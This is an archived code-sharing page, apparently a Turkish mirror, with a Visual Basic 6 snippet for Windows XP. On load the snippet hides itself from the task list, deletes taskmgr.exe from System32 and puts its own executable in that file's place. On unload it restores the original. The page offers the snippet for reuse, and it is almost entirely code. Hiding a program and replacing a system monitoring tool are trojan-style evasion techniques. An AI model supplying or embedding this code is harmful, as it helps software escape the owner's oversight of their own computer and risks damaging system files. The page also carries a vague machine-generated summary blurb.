Advertisement
ASP_Volume3 Coding Standards #63010

Disable taskmanager (XP)

This code temporary disables the taskmanager, works with Windows XP Home ... please vote ...

AI

Yapay Zeka Özeti: This codebase represents a historical implementation of the logic described in the metadata. Our preservation engine analyzes the structure to provide context for modern developers.

Kaynak Kod
original-source
Private Sub Form_Load()
  ' Hides the application from the taskmanager
  
  TaskVisible = False
  ' Makes a backup directory for taskmgr.exe
  
  MkDir "C:\TASKMANAGER-BACKUP"
  
  ' Makes a backup of taskmgr.exe .
  
  FileCopy "C:\WINDOWS\System32\taskmgr.exe", "C:\TASKMANAGER-BACKUP\taskmgr1.exe"
  
  ' Deletes the taskmgr.exe file .
  
  Kill "C:\WINDOWS\System32\taskmgr.exe"
   
  ' Copies this application and temporary bypassses it for taskmgr.exe .
  
  FileCopy App.Path & "\project1.exe", "C:\WINDOWS\System32\taskmgr.exe"
  
End Sub
Private Sub Form_Unload(Cancel As Integer)
  
  ' Copies the original file back to the original location on form unload .
  FileCopy "C:\TASKMANAGER-BACKUP\taskmgr1.exe", "C:\WINDOWS\System32\taskmgr.exe"
  
   'Deletes the temporary file
  
  Kill "C:\TASKMANAGER-BACKUP\taskmgr1.exe"
  
  'Deletes the temporary backup folder
  
  RmDir ("C:\TASKMANAGER-BACKUP")
  
End Sub
Orijinal Yorumlar (3)
Wayback Machine'den kurtarıldı